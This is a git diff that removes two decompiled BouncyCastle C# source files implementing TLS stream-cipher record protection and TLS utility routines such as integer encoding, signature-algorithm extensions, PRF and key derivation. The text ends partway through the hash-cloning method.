--git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsStreamCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsStreamCipher.cs deleted file mode 100644 index f0033f1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsStreamCipher.cs +++ /dev/null @@ -1,124 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsStreamCipher : TlsCipher -{ - protected readonly TlsContext context; - - protected readonly IStreamCipher encryptCipher; - - protected readonly IStreamCipher decryptCipher; - - protected readonly TlsMac writeMac; - - protected readonly TlsMac readMac; - - protected readonly bool usesNonce; - - public TlsStreamCipher(TlsContext context, IStreamCipher clientWriteCipher, IStreamCipher serverWriteCipher, IDigest clientWriteDigest, IDigest serverWriteDigest, int cipherKeySize, bool usesNonce) - { - bool isServer = context.IsServer; - this.context = context; - this.usesNonce = usesNonce; - encryptCipher = clientWriteCipher; - decryptCipher = serverWriteCipher; - int num = 2 * cipherKeySize + clientWriteDigest.GetDigestSize() + serverWriteDigest.GetDigestSize(); - byte[] key = TlsUtilities.CalculateKeyBlock(context, num); - int num2 = 0; - TlsMac tlsMac = new TlsMac(context, clientWriteDigest, key, num2, clientWriteDigest.GetDigestSize()); - num2 += clientWriteDigest.GetDigestSize(); - TlsMac tlsMac2 = new TlsMac(context, serverWriteDigest, key, num2, serverWriteDigest.GetDigestSize()); - num2 += serverWriteDigest.GetDigestSize(); - KeyParameter keyParameter = new KeyParameter(key, num2, cipherKeySize); - num2 += cipherKeySize; - KeyParameter keyParameter2 = new KeyParameter(key, num2, cipherKeySize); - num2 += cipherKeySize; - if (num2 != num) - { - throw new TlsFatalAlert(80); - } - ICipherParameters parameters; - ICipherParameters parameters2; - if (isServer) - { - writeMac = tlsMac2; - readMac = tlsMac; - encryptCipher = serverWriteCipher; - decryptCipher = clientWriteCipher; - parameters = keyParameter2; - parameters2 = keyParameter; - } - else - { - writeMac = tlsMac; - readMac = tlsMac2; - encryptCipher = clientWriteCipher; - decryptCipher = serverWriteCipher; - parameters = keyParameter; - parameters2 = keyParameter2; - } - if (usesNonce) - { - byte[] iv = new byte[8]; - parameters = new ParametersWithIV(parameters, iv); - parameters2 = new ParametersWithIV(parameters2, iv); - } - encryptCipher.Init(forEncryption: true, parameters); - decryptCipher.Init(forEncryption: false, parameters2); - } - - public virtual int GetPlaintextLimit(int ciphertextLimit) - { - return ciphertextLimit - writeMac.Size; - } - - public virtual byte[] EncodePlaintext(long seqNo, byte type, byte[] plaintext, int offset, int len) - { - if (usesNonce) - { - UpdateIV(encryptCipher, forEncryption: true, seqNo); - } - byte[] array = new byte[len + writeMac.Size]; - encryptCipher.ProcessBytes(plaintext, offset, len, array, 0); - byte[] array2 = writeMac.CalculateMac(seqNo, type, plaintext, offset, len); - encryptCipher.ProcessBytes(array2, 0, array2.Length, array, len); - return array; - } - - public virtual byte[] DecodeCiphertext(long seqNo, byte type, byte[] ciphertext, int offset, int len) - { - if (usesNonce) - { - UpdateIV(decryptCipher, forEncryption: false, seqNo); - } - int size = readMac.Size; - if (len < size) - { - throw new TlsFatalAlert(50); - } - int num = len - size; - byte[] array = new byte[len]; - decryptCipher.ProcessBytes(ciphertext, offset, len, array, 0); - CheckMac(seqNo, type, array, num, len, array, 0, num); - return Arrays.CopyOfRange(array, 0, num); - } - - protected virtual void CheckMac(long seqNo, byte type, byte[] recBuf, int recStart, int recEnd, byte[] calcBuf, int calcOff, int calcLen) - { - byte[] a = Arrays.CopyOfRange(recBuf, recStart, recEnd); - byte[] b = readMac.CalculateMac(seqNo, type, calcBuf, calcOff, calcLen); - if (!Arrays.ConstantTimeAreEqual(a, b)) - { - throw new TlsFatalAlert(20); - } - } - - protected virtual void UpdateIV(IStreamCipher cipher, bool forEncryption, long seqNo) - { - byte[] array = new byte[8]; - TlsUtilities.WriteUint64(seqNo, array, 0); - cipher.Init(forEncryption, new ParametersWithIV(null, array)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsUtilities.cs deleted file mode 100644 index 560bd27..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsUtilities.cs +++ /dev/null @@ -1,2303 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Crypto.Macs; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Date; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class TlsUtilities -{ - public static readonly byte[] EmptyBytes = new byte[0]; - - public static readonly short[] EmptyShorts = new short[0]; - - public static readonly int[] EmptyInts = new int[0]; - - public static readonly long[] EmptyLongs = new long[0]; - - internal static readonly byte[] SSL_CLIENT = new byte[4] { 67, 76, 78, 84 }; - - internal static readonly byte[] SSL_SERVER = new byte[4] { 83, 82, 86, 82 }; - - internal static readonly byte[][] SSL3_CONST = GenSsl3Const(); - - public static void CheckUint8(int i) - { - if (!IsValidUint8(i)) - { - throw new TlsFatalAlert(80); - } - } - - public static void CheckUint8(long i) - { - if (!IsValidUint8(i)) - { - throw new TlsFatalAlert(80); - } - } - - public static void CheckUint16(int i) - { - if (!IsValidUint16(i)) - { - throw new TlsFatalAlert(80); - } - } - - public static void CheckUint16(long i) - { - if (!IsValidUint16(i)) - { - throw new TlsFatalAlert(80); - } - } - - public static void CheckUint24(int i) - { - if (!IsValidUint24(i)) - { - throw new TlsFatalAlert(80); - } - } - - public static void CheckUint24(long i) - { - if (!IsValidUint24(i)) - { - throw new TlsFatalAlert(80); - } - } - - public static void CheckUint32(long i) - { - if (!IsValidUint32(i)) - { - throw new TlsFatalAlert(80); - } - } - - public static void CheckUint48(long i) - { - if (!IsValidUint48(i)) - { - throw new TlsFatalAlert(80); - } - } - - public static void CheckUint64(long i) - { - if (!IsValidUint64(i)) - { - throw new TlsFatalAlert(80); - } - } - - public static bool IsValidUint8(int i) - { - return (i & 0xFF) == i; - } - - public static bool IsValidUint8(long i) - { - return (i & 0xFF) == i; - } - - public static bool IsValidUint16(int i) - { - return (i & 0xFFFF) == i; - } - - public static bool IsValidUint16(long i) - { - return (i & 0xFFFF) == i; - } - - public static bool IsValidUint24(int i) - { - return (i & 0xFFFFFF) == i; - } - - public static bool IsValidUint24(long i) - { - return (i & 0xFFFFFF) == i; - } - - public static bool IsValidUint32(long i) - { - return (i & 0xFFFFFFFFu) == i; - } - - public static bool IsValidUint48(long i) - { - return (i & 0xFFFFFFFFFFFFL) == i; - } - - public static bool IsValidUint64(long i) - { - return true; - } - - public static bool IsSsl(TlsContext context) - { - return context.ServerVersion.IsSsl; - } - - public static bool IsTlsV11(ProtocolVersion version) - { - return ProtocolVersion.TLSv11.IsEqualOrEarlierVersionOf(version.GetEquivalentTLSVersion()); - } - - public static bool IsTlsV11(TlsContext context) - { - return IsTlsV11(context.ServerVersion); - } - - public static bool IsTlsV12(ProtocolVersion version) - { - return ProtocolVersion.TLSv12.IsEqualOrEarlierVersionOf(version.GetEquivalentTLSVersion()); - } - - public static bool IsTlsV12(TlsContext context) - { - return IsTlsV12(context.ServerVersion); - } - - public static void WriteUint8(byte i, Stream output) - { - output.WriteByte(i); - } - - public static void WriteUint8(byte i, byte[] buf, int offset) - { - buf[offset] = i; - } - - public static void WriteUint16(int i, Stream output) - { - output.WriteByte((byte)(i >> 8)); - output.WriteByte((byte)i); - } - - public static void WriteUint16(int i, byte[] buf, int offset) - { - buf[offset] = (byte)(i >> 8); - buf[offset + 1] = (byte)i; - } - - public static void WriteUint24(int i, Stream output) - { - output.WriteByte((byte)(i >> 16)); - output.WriteByte((byte)(i >> 8)); - output.WriteByte((byte)i); - } - - public static void WriteUint24(int i, byte[] buf, int offset) - { - buf[offset] = (byte)(i >> 16); - buf[offset + 1] = (byte)(i >> 8); - buf[offset + 2] = (byte)i; - } - - public static void WriteUint32(long i, Stream output) - { - output.WriteByte((byte)(i >> 24)); - output.WriteByte((byte)(i >> 16)); - output.WriteByte((byte)(i >> 8)); - output.WriteByte((byte)i); - } - - public static void WriteUint32(long i, byte[] buf, int offset) - { - buf[offset] = (byte)(i >> 24); - buf[offset + 1] = (byte)(i >> 16); - buf[offset + 2] = (byte)(i >> 8); - buf[offset + 3] = (byte)i; - } - - public static void WriteUint48(long i, Stream output) - { - output.WriteByte((byte)(i >> 40)); - output.WriteByte((byte)(i >> 32)); - output.WriteByte((byte)(i >> 24)); - output.WriteByte((byte)(i >> 16)); - output.WriteByte((byte)(i >> 8)); - output.WriteByte((byte)i); - } - - public static void WriteUint48(long i, byte[] buf, int offset) - { - buf[offset] = (byte)(i >> 40); - buf[offset + 1] = (byte)(i >> 32); - buf[offset + 2] = (byte)(i >> 24); - buf[offset + 3] = (byte)(i >> 16); - buf[offset + 4] = (byte)(i >> 8); - buf[offset + 5] = (byte)i; - } - - public static void WriteUint64(long i, Stream output) - { - output.WriteByte((byte)(i >> 56)); - output.WriteByte((byte)(i >> 48)); - output.WriteByte((byte)(i >> 40)); - output.WriteByte((byte)(i >> 32)); - output.WriteByte((byte)(i >> 24)); - output.WriteByte((byte)(i >> 16)); - output.WriteByte((byte)(i >> 8)); - output.WriteByte((byte)i); - } - - public static void WriteUint64(long i, byte[] buf, int offset) - { - buf[offset] = (byte)(i >> 56); - buf[offset + 1] = (byte)(i >> 48); - buf[offset + 2] = (byte)(i >> 40); - buf[offset + 3] = (byte)(i >> 32); - buf[offset + 4] = (byte)(i >> 24); - buf[offset + 5] = (byte)(i >> 16); - buf[offset + 6] = (byte)(i >> 8); - buf[offset + 7] = (byte)i; - } - - public static void WriteOpaque8(byte[] buf, Stream output) - { - WriteUint8((byte)buf.Length, output); - output.Write(buf, 0, buf.Length); - } - - public static void WriteOpaque16(byte[] buf, Stream output) - { - WriteUint16(buf.Length, output); - output.Write(buf, 0, buf.Length); - } - - public static void WriteOpaque24(byte[] buf, Stream output) - { - WriteUint24(buf.Length, output); - output.Write(buf, 0, buf.Length); - } - - public static void WriteUint8Array(byte[] uints, Stream output) - { - output.Write(uints, 0, uints.Length); - } - - public static void WriteUint8Array(byte[] uints, byte[] buf, int offset) - { - for (int i = 0; i < uints.Length; i++) - { - WriteUint8(uints[i], buf, offset); - offset++; - } - } - - public static void WriteUint8ArrayWithUint8Length(byte[] uints, Stream output) - { - CheckUint8(uints.Length); - WriteUint8((byte)uints.Length, output); - WriteUint8Array(uints, output); - } - - public static void WriteUint8ArrayWithUint8Length(byte[] uints, byte[] buf, int offset) - { - CheckUint8(uints.Length); - WriteUint8((byte)uints.Length, buf, offset); - WriteUint8Array(uints, buf, offset + 1); - } - - public static void WriteUint16Array(int[] uints, Stream output) - { - for (int i = 0; i < uints.Length; i++) - { - WriteUint16(uints[i], output); - } - } - - public static void WriteUint16Array(int[] uints, byte[] buf, int offset) - { - for (int i = 0; i < uints.Length; i++) - { - WriteUint16(uints[i], buf, offset); - offset += 2; - } - } - - public static void WriteUint16ArrayWithUint16Length(int[] uints, Stream output) - { - int i = 2 * uints.Length; - CheckUint16(i); - WriteUint16(i, output); - WriteUint16Array(uints, output); - } - - public static void WriteUint16ArrayWithUint16Length(int[] uints, byte[] buf, int offset) - { - int i = 2 * uints.Length; - CheckUint16(i); - WriteUint16(i, buf, offset); - WriteUint16Array(uints, buf, offset + 2); - } - - public static byte DecodeUint8(byte[] buf) - { - if (buf == null) - { - throw new ArgumentNullException("buf"); - } - if (buf.Length != 1) - { - throw new TlsFatalAlert(50); - } - return ReadUint8(buf, 0); - } - - public static byte[] DecodeUint8ArrayWithUint8Length(byte[] buf) - { - if (buf == null) - { - throw new ArgumentNullException("buf"); - } - int num = ReadUint8(buf, 0); - if (buf.Length != num + 1) - { - throw new TlsFatalAlert(50); - } - byte[] array = new byte[num]; - for (int i = 0; i < num; i++) - { - array[i] = ReadUint8(buf, i + 1); - } - return array; - } - - public static byte[] EncodeOpaque8(byte[] buf) - { - CheckUint8(buf.Length); - return Arrays.Prepend(buf, (byte)buf.Length); - } - - public static byte[] EncodeUint8(byte val) - { - CheckUint8(val); - byte[] array = new byte[1]; - WriteUint8(val, array, 0); - return array; - } - - public static byte[] EncodeUint8ArrayWithUint8Length(byte[] uints) - { - byte[] array = new byte[1 + uints.Length]; - WriteUint8ArrayWithUint8Length(uints, array, 0); - return array; - } - - public static byte[] EncodeUint16ArrayWithUint16Length(int[] uints) - { - int num = 2 * uints.Length; - byte[] array = new byte[2 + num]; - WriteUint16ArrayWithUint16Length(uints, array, 0); - return array; - } - - public static byte ReadUint8(Stream input) - { - int num = input.ReadByte(); - if (num < 0) - { - throw new EndOfStreamException(); - } - return (byte)num; - } - - public static byte ReadUint8(byte[] buf, int offset) - { - return buf[offset]; - } - - public static int ReadUint16(Stream input) - { - int num = input.ReadByte(); - int num2 = input.ReadByte(); - if (num2 < 0) - { - throw new EndOfStreamException(); - } - return (num << 8) | num2; - } - - public static int ReadUint16(byte[] buf, int offset) - { - uint num = (uint)(buf[offset] << 8); - return (int)(num | buf[++offset]); - } - - public static int ReadUint24(Stream input) - { - int num = input.ReadByte(); - int num2 = input.ReadByte(); - int num3 = input.ReadByte(); - if (num3 < 0) - { - throw new EndOfStreamException(); - } - return (num << 16) | (num2 << 8) | num3; - } - - public static int ReadUint24(byte[] buf, int offset) - { - uint num = (uint)(buf[offset] << 16); - num |= (uint)(buf[++offset] << 8); - return (int)(num | buf[++offset]); - } - - public static long ReadUint32(Stream input) - { - int num = input.ReadByte(); - int num2 = input.ReadByte(); - int num3 = input.ReadByte(); - int num4 = input.ReadByte(); - if (num4 < 0) - { - throw new EndOfStreamException(); - } - return (uint)((num << 24) | (num2 << 16) | (num3 << 8) | num4); - } - - public static long ReadUint32(byte[] buf, int offset) - { - uint num = (uint)(buf[offset] << 24); - num |= (uint)(buf[++offset] << 16); - num |= (uint)(buf[++offset] << 8); - num |= buf[++offset]; - return num; - } - - public static long ReadUint48(Stream input) - { - int num = ReadUint24(input); - int num2 = ReadUint24(input); - return ((num & 0xFFFFFFFFu) << 24) | (num2 & 0xFFFFFFFFu); - } - - public static long ReadUint48(byte[] buf, int offset) - { - int num = ReadUint24(buf, offset); - int num2 = ReadUint24(buf, offset + 3); - return ((num & 0xFFFFFFFFu) << 24) | (num2 & 0xFFFFFFFFu); - } - - public static byte[] ReadAllOrNothing(int length, Stream input) - { - if (length < 1) - { - return EmptyBytes; - } - byte[] array = new byte[length]; - int num = Streams.ReadFully(input, array); - if (num == 0) - { - return null; - } - if (num != length) - { - throw new EndOfStreamException(); - } - return array; - } - - public static byte[] ReadFully(int length, Stream input) - { - if (length < 1) - { - return EmptyBytes; - } - byte[] array = new byte[length]; - if (length != Streams.ReadFully(input, array)) - { - throw new EndOfStreamException(); - } - return array; - } - - public static void ReadFully(byte[] buf, Stream input) - { - if (Streams.ReadFully(input, buf, 0, buf.Length) < buf.Length) - { - throw new EndOfStreamException(); - } - } - - public static byte[] ReadOpaque8(Stream input) - { - byte b = ReadUint8(input); - byte[] array = new byte[b]; - ReadFully(array, input); - return array; - } - - public static byte[] ReadOpaque16(Stream input) - { - int num = ReadUint16(input); - byte[] array = new byte[num]; - ReadFully(array, input); - return array; - } - - public static byte[] ReadOpaque24(Stream input) - { - int length = ReadUint24(input); - return ReadFully(length, input); - } - - public static byte[] ReadUint8Array(int count, Stream input) - { - byte[] array = new byte[count]; - for (int i = 0; i < count; i++) - { - array[i] = ReadUint8(input); - } - return array; - } - - public static int[] ReadUint16Array(int count, Stream input) - { - int[] array = new int[count]; - for (int i = 0; i < count; i++) - { - array[i] = ReadUint16(input); - } - return array; - } - - public static ProtocolVersion ReadVersion(byte[] buf, int offset) - { - return ProtocolVersion.Get(buf[offset], buf[offset + 1]); - } - - public static ProtocolVersion ReadVersion(Stream input) - { - int major = input.ReadByte(); - int num = input.ReadByte(); - if (num < 0) - { - throw new EndOfStreamException(); - } - return ProtocolVersion.Get(major, num); - } - - public static int ReadVersionRaw(byte[] buf, int offset) - { - return (buf[offset] << 8) | buf[offset + 1]; - } - - public static int ReadVersionRaw(Stream input) - { - int num = input.ReadByte(); - int num2 = input.ReadByte(); - if (num2 < 0) - { - throw new EndOfStreamException(); - } - return (num << 8) | num2; - } - - public static Asn1Object ReadAsn1Object(byte[] encoding) - { - MemoryStream memoryStream = new MemoryStream(encoding, writable: false); - Asn1InputStream asn1InputStream = new Asn1InputStream(memoryStream, encoding.Length); - Asn1Object asn1Object = asn1InputStream.ReadObject(); - if (asn1Object == null) - { - throw new TlsFatalAlert(50); - } - if (memoryStream.Position != memoryStream.Length) - { - throw new TlsFatalAlert(50); - } - return asn1Object; - } - - public static Asn1Object ReadDerObject(byte[] encoding) - { - Asn1Object asn1Object = ReadAsn1Object(encoding); - byte[] encoded = asn1Object.GetEncoded("DER"); - if (!Arrays.AreEqual(encoded, encoding)) - { - throw new TlsFatalAlert(50); - } - return asn1Object; - } - - public static void WriteGmtUnixTime(byte[] buf, int offset) - { - int num = (int)(DateTimeUtilities.CurrentUnixMs() / 1000); - buf[offset] = (byte)(num >> 24); - buf[offset + 1] = (byte)(num >> 16); - buf[offset + 2] = (byte)(num >> 8); - buf[offset + 3] = (byte)num; - } - - public static void WriteVersion(ProtocolVersion version, Stream output) - { - output.WriteByte((byte)version.MajorVersion); - output.WriteByte((byte)version.MinorVersion); - } - - public static void WriteVersion(ProtocolVersion version, byte[] buf, int offset) - { - buf[offset] = (byte)version.MajorVersion; - buf[offset + 1] = (byte)version.MinorVersion; - } - - public static IList GetAllSignatureAlgorithms() - { - IList list = Platform.CreateArrayList(4); - list.Add((byte)0); - list.Add((byte)1); - list.Add((byte)2); - list.Add((byte)3); - return list; - } - - public static IList GetDefaultDssSignatureAlgorithms() - { - return VectorOfOne(new SignatureAndHashAlgorithm(2, 2)); - } - - public static IList GetDefaultECDsaSignatureAlgorithms() - { - return VectorOfOne(new SignatureAndHashAlgorithm(2, 3)); - } - - public static IList GetDefaultRsaSignatureAlgorithms() - { - return VectorOfOne(new SignatureAndHashAlgorithm(2, 1)); - } - - public static byte[] GetExtensionData(IDictionary extensions, int extensionType) - { - if (extensions != null) - { - return (byte[])extensions[extensionType]; - } - return null; - } - - public static IList GetDefaultSupportedSignatureAlgorithms() - { - byte[] array = new byte[5] { 2, 3, 4, 5, 6 }; - byte[] array2 = new byte[3] { 1, 2, 3 }; - IList list = Platform.CreateArrayList(); - for (int i = 0; i < array2.Length; i++) - { - for (int j = 0; j < array.Length; j++) - { - list.Add(new SignatureAndHashAlgorithm(array[j], array2[i])); - } - } - return list; - } - - public static SignatureAndHashAlgorithm GetSignatureAndHashAlgorithm(TlsContext context, TlsSignerCredentials signerCredentials) - { - SignatureAndHashAlgorithm signatureAndHashAlgorithm = null; - if (IsTlsV12(context)) - { - signatureAndHashAlgorithm = signerCredentials.SignatureAndHashAlgorithm; - if (signatureAndHashAlgorithm == null) - { - throw new TlsFatalAlert(80); - } - } - return signatureAndHashAlgorithm; - } - - public static bool HasExpectedEmptyExtensionData(IDictionary extensions, int extensionType, byte alertDescription) - { - byte[] extensionData = GetExtensionData(extensions, extensionType); - if (extensionData == null) - { - return false; - } - if (extensionData.Length != 0) - { - throw new TlsFatalAlert(alertDescription); - } - return true; - } - - public static TlsSession ImportSession(byte[] sessionID, SessionParameters sessionParameters) - { - return new TlsSessionImpl(sessionID, sessionParameters); - } - - public static bool IsSignatureAlgorithmsExtensionAllowed(ProtocolVersion clientVersion) - { - return ProtocolVersion.TLSv12.IsEqualOrEarlierVersionOf(clientVersion.GetEquivalentTLSVersion()); - } - - public static void AddSignatureAlgorithmsExtension(IDictionary extensions, IList supportedSignatureAlgorithms) - { - extensions[13] = CreateSignatureAlgorithmsExtension(supportedSignatureAlgorithms); - } - - public static IList GetSignatureAlgorithmsExtension(IDictionary extensions) - { - byte[] extensionData = GetExtensionData(extensions, 13); - if (extensionData != null) - { - return ReadSignatureAlgorithmsExtension(extensionData); - } - return null; - } - - public static byte[] CreateSignatureAlgorithmsExtension(IList supportedSignatureAlgorithms) - { - MemoryStream memoryStream = new MemoryStream(); - EncodeSupportedSignatureAlgorithms(supportedSignatureAlgorithms, allowAnonymous: false, memoryStream); - return memoryStream.ToArray(); - } - - public static IList ReadSignatureAlgorithmsExtension(byte[] extensionData) - { - if (extensionData == null) - { - throw new ArgumentNullException("extensionData"); - } - MemoryStream memoryStream = new MemoryStream(extensionData, writable: false); - IList result = ParseSupportedSignatureAlgorithms(allowAnonymous: false, memoryStream); - TlsProtocol.AssertEmpty(memoryStream); - return result; - } - - public static void EncodeSupportedSignatureAlgorithms(IList supportedSignatureAlgorithms, bool allowAnonymous, Stream output) - { - if (supportedSignatureAlgorithms == null) - { - throw new ArgumentNullException("supportedSignatureAlgorithms"); - } - if (supportedSignatureAlgorithms.Count < 1 || supportedSignatureAlgorithms.Count >= 32768) - { - throw new ArgumentException("must have length from 1 to (2^15 - 1)", "supportedSignatureAlgorithms"); - } - int i = 2 * supportedSignatureAlgorithms.Count; - CheckUint16(i); - WriteUint16(i, output); - foreach (SignatureAndHashAlgorithm supportedSignatureAlgorithm in supportedSignatureAlgorithms) - { - if (!allowAnonymous && supportedSignatureAlgorithm.Signature == 0) - { - throw new ArgumentException("SignatureAlgorithm.anonymous MUST NOT appear in the signature_algorithms extension"); - } - supportedSignatureAlgorithm.Encode(output); - } - } - - public static IList ParseSupportedSignatureAlgorithms(bool allowAnonymous, Stream input) - { - int num = ReadUint16(input); - if (num < 2 || (num & 1) != 0) - { - throw new TlsFatalAlert(50); - } - int num2 = num / 2; - IList list = Platform.CreateArrayList(num2); - for (int i = 0; i < num2; i++) - { - SignatureAndHashAlgorithm signatureAndHashAlgorithm = SignatureAndHashAlgorithm.Parse(input); - if (!allowAnonymous && signatureAndHashAlgorithm.Signature == 0) - { - throw new TlsFatalAlert(47); - } - list.Add(signatureAndHashAlgorithm); - } - return list; - } - - public static void VerifySupportedSignatureAlgorithm(IList supportedSignatureAlgorithms, SignatureAndHashAlgorithm signatureAlgorithm) - { - if (supportedSignatureAlgorithms == null) - { - throw new ArgumentNullException("supportedSignatureAlgorithms"); - } - if (supportedSignatureAlgorithms.Count < 1 || supportedSignatureAlgorithms.Count >= 32768) - { - throw new ArgumentException("must have length from 1 to (2^15 - 1)", "supportedSignatureAlgorithms"); - } - if (signatureAlgorithm == null) - { - throw new ArgumentNullException("signatureAlgorithm"); - } - if (signatureAlgorithm.Signature != 0) - { - foreach (SignatureAndHashAlgorithm supportedSignatureAlgorithm in supportedSignatureAlgorithms) - { - if (supportedSignatureAlgorithm.Hash == signatureAlgorithm.Hash && supportedSignatureAlgorithm.Signature == signatureAlgorithm.Signature) - { - return; - } - } - } - throw new TlsFatalAlert(47); - } - - public static byte[] PRF(TlsContext context, byte[] secret, string asciiLabel, byte[] seed, int size) - { - ProtocolVersion serverVersion = context.ServerVersion; - if (serverVersion.IsSsl) - { - throw new InvalidOperationException("No PRF available for SSLv3 session"); - } - byte[] array = Strings.ToByteArray(asciiLabel); - byte[] array2 = Concat(array, seed); - int prfAlgorithm = context.SecurityParameters.PrfAlgorithm; - if (prfAlgorithm == 0) - { - return PRF_legacy(secret, array, array2, size); - } - IDigest digest = CreatePrfHash(prfAlgorithm); - byte[] array3 = new byte[size]; - HMacHash(digest, secret, array2, array3); - return array3; - } - - public static byte[] PRF_legacy(byte[] secret, string asciiLabel, byte[] seed, int size) - { - byte[] array = Strings.ToByteArray(asciiLabel); - byte[] labelSeed = Concat(array, seed); - return PRF_legacy(secret, array, labelSeed, size); - } - - internal static byte[] PRF_legacy(byte[] secret, byte[] label, byte[] labelSeed, int size) - { - int num = (secret.Length + 1) / 2; - byte[] array = new byte[num]; - byte[] array2 = new byte[num]; - Array.Copy(secret, 0, array, 0, num); - Array.Copy(secret, secret.Length - num, array2, 0, num); - byte[] array3 = new byte[size]; - byte[] array4 = new byte[size]; - HMacHash(CreateHash(1), array, labelSeed, array3); - HMacHash(CreateHash(2), array2, labelSeed, array4); - for (int i = 0; i < size; i++) - { - byte[] array6; - byte[] array5 = (array6 = array3); - int num2 = i; - nint num3 = num2; - array5[num2] = (byte)(array6[num3] ^ array4[i]); - } - return array3; - } - - internal static byte[] Concat(byte[] a, byte[] b) - { - byte[] array = new byte[a.Length + b.Length]; - Array.Copy(a, 0, array, 0, a.Length); - Array.Copy(b, 0, array, a.Length, b.Length); - return array; - } - - internal static void HMacHash(IDigest digest, byte[] secret, byte[] seed, byte[] output) - { - HMac hMac = new HMac(digest); - hMac.Init(new KeyParameter(secret)); - byte[] array = seed; - int digestSize = digest.GetDigestSize(); - int num = (output.Length + digestSize - 1) / digestSize; - byte[] array2 = new byte[hMac.GetMacSize()]; - byte[] array3 = new byte[hMac.GetMacSize()]; - for (int i = 0; i < num; i++) - { - hMac.BlockUpdate(array, 0, array.Length); - hMac.DoFinal(array2, 0); - array = array2; - hMac.BlockUpdate(array, 0, array.Length); - hMac.BlockUpdate(seed, 0, seed.Length); - hMac.DoFinal(array3, 0); - Array.Copy(array3, 0, output, digestSize * i, System.Math.Min(digestSize, output.Length - digestSize * i)); - } - } - - internal static void ValidateKeyUsage(X509CertificateStructure c, int keyUsageBits) - { - X509Extensions extensions = c.TbsCertificate.Extensions; - if (extensions == null) - { - return; - } - X509Extension extension = extensions.GetExtension(X509Extensions.KeyUsage); - if (extension != null) - { - DerBitString instance = KeyUsage.GetInstance(extension); - int num = instance.GetBytes()[0]; - if ((num & keyUsageBits) != keyUsageBits) - { - throw new TlsFatalAlert(46); - } - } - } - - internal static byte[] CalculateKeyBlock(TlsContext context, int size) - { - SecurityParameters securityParameters = context.SecurityParameters; - byte[] masterSecret = securityParameters.MasterSecret; - byte[] array = Concat(securityParameters.ServerRandom, securityParameters.ClientRandom); - if (IsSsl(context)) - { - return CalculateKeyBlock_Ssl(masterSecret, array, size); - } - return PRF(context, masterSecret, "key expansion", array, size); - } - - internal static byte[] CalculateKeyBlock_Ssl(byte[] master_secret, byte[] random, int size) - { - IDigest digest = CreateHash(1); - IDigest digest2 = CreateHash(2); - int digestSize = digest.GetDigestSize(); - byte[] array = new byte[digest2.GetDigestSize()]; - byte[] array2 = new byte[size + digestSize]; - int num = 0; - int num2 = 0; - while (num2 < size) - { - byte[] array3 = SSL3_CONST[num]; - digest2.BlockUpdate(array3, 0, array3.Length); - digest2.BlockUpdate(master_secret, 0, master_secret.Length); - digest2.BlockUpdate(random, 0, random.Length); - digest2.DoFinal(array, 0); - digest.BlockUpdate(master_secret, 0, master_secret.Length); - digest.BlockUpdate(array, 0, array.Length); - digest.DoFinal(array2, num2); - num2 += digestSize; - num++; - } - return Arrays.CopyOfRange(array2, 0, size); - } - - internal static byte[] CalculateMasterSecret(TlsContext context, byte[] pre_master_secret) - { - SecurityParameters securityParameters = context.SecurityParameters; - byte[] array = (securityParameters.IsExtendedMasterSecret ? securityParameters.SessionHash : Concat(securityParameters.ClientRandom, securityParameters.ServerRandom)); - if (IsSsl(context)) - { - return CalculateMasterSecret_Ssl(pre_master_secret, array); - } - string asciiLabel = (securityParameters.IsExtendedMasterSecret ? ExporterLabel.extended_master_secret : "master secret"); - return PRF(context, pre_master_secret, asciiLabel, array, 48); - } - - internal static byte[] CalculateMasterSecret_Ssl(byte[] pre_master_secret, byte[] random) - { - IDigest digest = CreateHash(1); - IDigest digest2 = CreateHash(2); - int digestSize = digest.GetDigestSize(); - byte[] array = new byte[digest2.GetDigestSize()]; - byte[] array2 = new byte[digestSize * 3]; - int num = 0; - for (int i = 0; i < 3; i++) - { - byte[] array3 = SSL3_CONST[i]; - digest2.BlockUpdate(array3, 0, array3.Length); - digest2.BlockUpdate(pre_master_secret, 0, pre_master_secret.Length); - digest2.BlockUpdate(random, 0, random.Length); - digest2.DoFinal(array, 0); - digest.BlockUpdate(pre_master_secret, 0, pre_master_secret.Length); - digest.BlockUpdate(array, 0, array.Length); - digest.DoFinal(array2, num); - num += digestSize; - } - return array2; - } - - internal static byte[] CalculateVerifyData(TlsContext context, string asciiLabel, byte[] handshakeHash) - { - if (IsSsl(context)) - { - return handshakeHash; - } - SecurityParameters securityParameters = context.SecurityParameters; - byte[] masterSecret = securityParameters.MasterSecret; - int verifyDataLength = securityParameters.VerifyDataLength; - return PRF(context, masterSecret, asciiLabel, handshakeHash, verifyDataLength); - } - - public static IDigest CreateHash(byte hashAlgorithm) - { - return hashAlgorithm switch - { - 1 => new MD5Digest(), - 2 => new Sha1Digest(), - 3 => new Sha224Digest(), - 4 => new Sha256Digest(), - 5 => new Sha384Digest(), - 6 => new Sha512Digest(), - _ => throw new ArgumentException("unknown HashAlgorithm", "hashAlgorithm"), - }; - } - - public static IDigest CreateHash(SignatureAndHashAlgorithm signatureAndHashAlgorithm) - { - if (signatureAndHashAlgorithm != null) - { - return CreateHash(signatureAndHashAlgorithm.Hash); - } - return new CombinedHash(); - } - - public static IDigest CloneHash(byte hashAlgorithm, IDigest hash) - { - return hashAlgorithm switch - { - 1 => new MD5Digest((MD5Digest)hash), - 2 => new Sha1Digest((Sha1Digest)hash), - 3 => new Sha224Digest((Sha224Digest)hash), - 4 => new 